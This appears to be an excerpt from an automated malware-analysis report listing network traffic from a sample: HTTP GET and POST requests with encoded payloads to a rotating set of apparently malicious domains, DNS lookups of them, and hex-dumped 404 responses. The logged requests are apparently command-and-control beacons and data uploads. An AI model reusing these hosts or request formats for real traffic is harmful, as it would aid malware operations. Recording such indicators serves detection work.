Source: global traffic	HTTP traffic detected: GET /cxj4/?80k=lRapCPMXgDk&6B-l7F=gKtC9mpNHTkTr00JCblrl8a3AfTX/duoM8EbXMKNjeYmEZtcGajyBctrWO6oEHOoogFTlfS8+DNQw55D2MfCqAhjIjNgZ6kwkHLqIJ6FVQVj1Nnq3yix8Cc= HTTP/1.1Host: www.100millionjobs.africaAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /wbfy/?6B-l7F=Xeeb3ImT6ZQQytgApKylbK7mnw/Uy82KlqPkukVQbKRvaGCiHgrQQJpKPHE9m9OFKl001Zh7fqviaNy8QasigmVtVgrnFrjMGvUSPSWgMjv1orXfOBS8k1A=&80k=lRapCPMXgDk HTTP/1.1Host: www.mirenzhibo.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /kgjj/?6B-l7F=m0PzV+DL9MdhQie9ia/fmr3XBWpQsDf/lotYUX+AhjMoQA7F3K3FjPv8kV/QBw/PdU/OXM/ri/IbrFYG4xypiABwnaSWREGU3uu7ZafkuM6Gl/4SxdxZjgo=&80k=lRapCPMXgDk HTTP/1.1Host: www.nextlevel.financeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /k29t/?6B-l7F=mLM4NyV3Rm7LSF6x/a3vps0uRUV7zEkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpdsHuHQ6ZT1nZEeE6AzqPDDMRo6XGpuD1XHiaXyxOjElLsGmAN2m/Z8=&80k=lRapCPMXgDk HTTP/1.1Host: www.furrcali.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /w98i/?6B-l7F=UfwHaNGeM7ohZqxLfFoMCRROWED3zeeFYxLhiKeMkeFhJQngpiBu1nR/iO/Vw2KMOuQK2IyXNyNkQANnRhWnyAeSvZ4PYAj0T7gn5VntXdX45GkikqbyqPY=&80k=lRapCPMXgDk HTTP/1.1Host: www.buyspeechst.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /gcvb/?6B-l7F=R3JWUl3ivpsXcFtFFeliieQU9JuOkkLjcoMED/ZSuHZ0i4hSpIKzgOSsfpnIAqnHyqi+O0adg4Vr07jACry21CI+4oE0/hewEO2O8IWqeYD/JQ6qTGavsAY=&80k=lRapCPMXgDk HTTP/1.1Host: www.lejgnu.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /js1x/?80k=lRapCPMXgDk&6B-l7F=YzadGC6YqOgjY/9t8WEBSxHCudcKSJxp0CcLO+Xh8dJmB8CdhvgUA7hRZF2xLQJtMCWb5Kgxi+xGIwqq0R102ShiT2rp0EsU7QKswOCkfsfu+tPWB6ee9FA= HTTP/1.1Host: www.milp.storeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /jwa9/?6B-l7F=nbEb6BapjrCYd3vuEk68dRLY4ua2Mo84Z9DLelTcrJ4p8hOiBplI39ztzhaal76qFYKe8ooJF22mI/JvRPR9KZtEPsGPSZvpHz4gKTT9RHcltuCAAAk51J4=&80k=lRapCPMXgDk HTTP/1.1Host: www.chiro.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /3u0p/?6B-l7F=s2YzwEkhsdaL/kJXp3k+A3KGmeJ3qBEv9AUKdpz0O4EFo1wYmv8+70PTeuLpJbel1HoKntoiuCCwLjgxW1UIuCv8mzvY6w9FRbC+/7SrF93BKOupqiEzChM=&80k=lRapCPMXgDk HTTP/1.1Host: www.mzkd6gp5.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /qps0/?6B-l7F=oe/Nf5ZxPavzyNCN5fJJ2OrxgayHc7sFQb4gcz6uUjnOuiLJkTwk1EFGD/G87FIa6dxrZOgAQGccmvtK4ohyPgEShywSULdIISv/2iuVOPOn5EuQA8dSwoA=&80k=lRapCPMXgDk HTTP/1.1Host: www.bokus.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /nkmx/?6B-l7F=eUQnbnMYY/LCOqGDejL9TQzNqDkA9lUjsamtmjAjCJYjPTSalXudwPcRr9EknZYtOZpCljWDkwtbq6MUXcKSC+3UVsfypEs97CYth/8fPOW7Uk3kTT+8ArA=&80k=lRapCPMXgDk HTTP/1.1Host: www.givvjn.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /t3iv/?80k=lRapCPMXgDk&6B-l7F=P136bSYw/boin6uqIxZ+PLa4sXTYWAHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2CMMqknG4ydwL3V23OA= HTTP/1.1Host: www.bonheur.techAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /bwjl/?6B-l7F=DlXUXSIcZnIsgzlziINoOaBHIWRz+kGepY2CMnKH5/Z+wLXeqyLz34dEMj2dm6NLuVk54f0N3OpI5VHZ7BJAsS5zdqtXFQ+nWWO+v1ALJkcTW8WFFCOZqPs=&80k=lRapCPMXgDk HTTP/1.1Host: www.rpa.asiaAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Source: global traffic	HTTP traffic detected: GET /kj1o/?80k=lRapCPMXgDk&6B-l7F=aFAzn/LT2mOAaNQADN8poQDHC/ShywB+MmjNXW9rGStYTR2loNwIsxAevG8AaM/8DgC1YrG7rp0i0fn4DlXpdNAv+6uTj4+oUBXQsmt/Lr8OGOl6Yl/nOLw= HTTP/1.1Host: www.ogbos88.cyouAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

Source: global traffic	DNS traffic detected: DNS query: www.milp.store
Source: global traffic	DNS traffic detected: DNS query: www.chiro.live
Source: global traffic	DNS traffic detected: DNS query: www.mzkd6gp5.top
Source: global traffic	DNS traffic detected: DNS query: www.bokus.site
Source: global traffic	DNS traffic detected: DNS query: www.elettrocoltura.info
Source: global traffic	DNS traffic detected: DNS query: www.givvjn.info
Source: global traffic	DNS traffic detected: DNS query: www.bonheur.tech
Source: global traffic	DNS traffic detected: DNS query: www.rpa.asia
Source: global traffic	DNS traffic detected: DNS query: www.ogbos88.cyou
Source: global traffic	DNS traffic detected: DNS query: www.smartbath.shop
Source: global traffic	DNS traffic detected: DNS query: www.100millionjobs.africa
Source: global traffic	DNS traffic detected: DNS query: www.mirenzhibo.net
Source: global traffic	DNS traffic detected: DNS query: www.nextlevel.finance
Source: global traffic	DNS traffic detected: DNS query: www.furrcali.xyz
Source: global traffic	DNS traffic detected: DNS query: www.buyspeechst.shop
Source: global traffic	DNS traffic detected: DNS query: www.lejgnu.info

Source: unknown

HTTP traffic detected: POST /jwa9/ HTTP/1.1Host: www.chiro.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,enConnection: closeCache-Control: no-cacheContent-Length: 203Content-Type: application/x-www-form-urlencodedOrigin: http://www.chiro.liveReferer: http://www.chiro.live/jwa9/User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30Data Raw: 36 42 2d 6c 37 46 3d 71 5a 73 37 35 31 75 39 68 4a 6a 45 62 31 62 57 4b 43 2f 49 59 6a 66 30 74 63 71 2f 61 71 46 51 5a 65 72 4a 55 45 2b 4d 72 70 30 61 7a 51 6d 75 45 61 6f 4c 2b 76 66 52 72 7a 69 56 36 5a 79 71 4b 70 58 61 2f 35 59 43 4f 6a 57 69 45 49 41 58 48 65 74 2b 58 4b 39 6d 49 63 6d 79 42 62 54 50 4f 52 34 78 58 52 2f 4f 66 30 38 4e 39 65 72 65 45 43 46 4a 79 61 6f 4d 51 48 78 52 6d 42 31 34 35 49 4d 6f 6e 4e 74 73 2b 6a 56 54 79 69 4f 61 43 63 45 4b 68 49 36 77 7a 64 34 78 57 49 34 33 32 56 4b 6e 4d 4d 30 6c 58 56 53 4a 6f 49 77 5a 33 4b 4c 4f 54 37 34 72 6e 7a 7a 6b 43 57 72 52 43 67 3d 3d Data Ascii: 6B-l7F=qZs751u9hJjEb1bWKC/IYjf0tcq/aqFQZerJUE+Mrp0azQmuEaoL+vfRrziV6ZyqKpXa/5YCOjWiEIAXHet+XK9mIcmyBbTPOR4xXR/Of08N9ereECFJyaoMQHxRmB145IMonNts+jVTyiOaCcEKhI6wzd4xWI432VKnMM0lXVSJoIwZ3KLOT74rnzzkCWrRCg==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:54:21 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8NE7Oz%2BRLdH3W%2BbqQhjSXugvdGh%2FH38aCfWPFbFr0aCu5gajtSSSYCL1v%2F43SboHEgw2tsWzPFfIpOBpTGqlEtkFtDypRYCnVq8NrckcD4Ai8626gRqLRXzJUm%2BR5mhw%2Bc9H"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff59af9e876e269-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=124098&min_rtt=124098&rtt_var=62049&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=799&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:54:24 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FKZcO2J89AEJJw0Ufm75pQOh%2BrjIY4c86hyZGAVXvORG0uVRyqqwLdHkh0G6M5%2FsvuABLqkTeUdcUt7JZmDbw3kV%2Fg0c9bOJX%2FzP5GsoSMhJTSpJcJ0slBMPw7Vv2Y8aSpOo"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff59b0a8c0810ed-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=118830&min_rtt=118830&rtt_var=59415&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=819&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:54:26 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZpPX3MVTEyrLZ1ZBb3%2Fite7QEnXTmOTiEgq842kYJGH%2BnHGJKJZzOoCQAj%2Ff9K2kZzKxBWDaVROEEKGf3d%2Fih4NQoy667gjFDKH9tB9lxWFLAbQrp9uFQNibggyg7cziV58D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff59b1b2932233a-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=119567&min_rtt=119567&rtt_var=59783&sent=3&recv=6&lost=0&retrans=0&sent_bytes=0&recv_bytes=3936&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:54:29 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sd8Ww%2FW%2BucYITL%2FryslLANlYgQjyfyCJmgA3YPhjuABM2oocNs8qU8cAnL0556n1TqBMKg6YIr0qdyw2ssVD0IgEHRsPK3lw9baQB8C37FpoQFgrSLziU4UdxGhJdImkybSy"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff59b2bbabe10ed-ORDalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=118732&min_rtt=118732&rtt_var=59366&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=535&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:54:35 GMTServer: ApacheContent-Length: 774Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</s
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:54:37 GMTServer: ApacheContent-Length: 774Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</s
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:54:40 GMTServer: ApacheContent-Length: 774Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 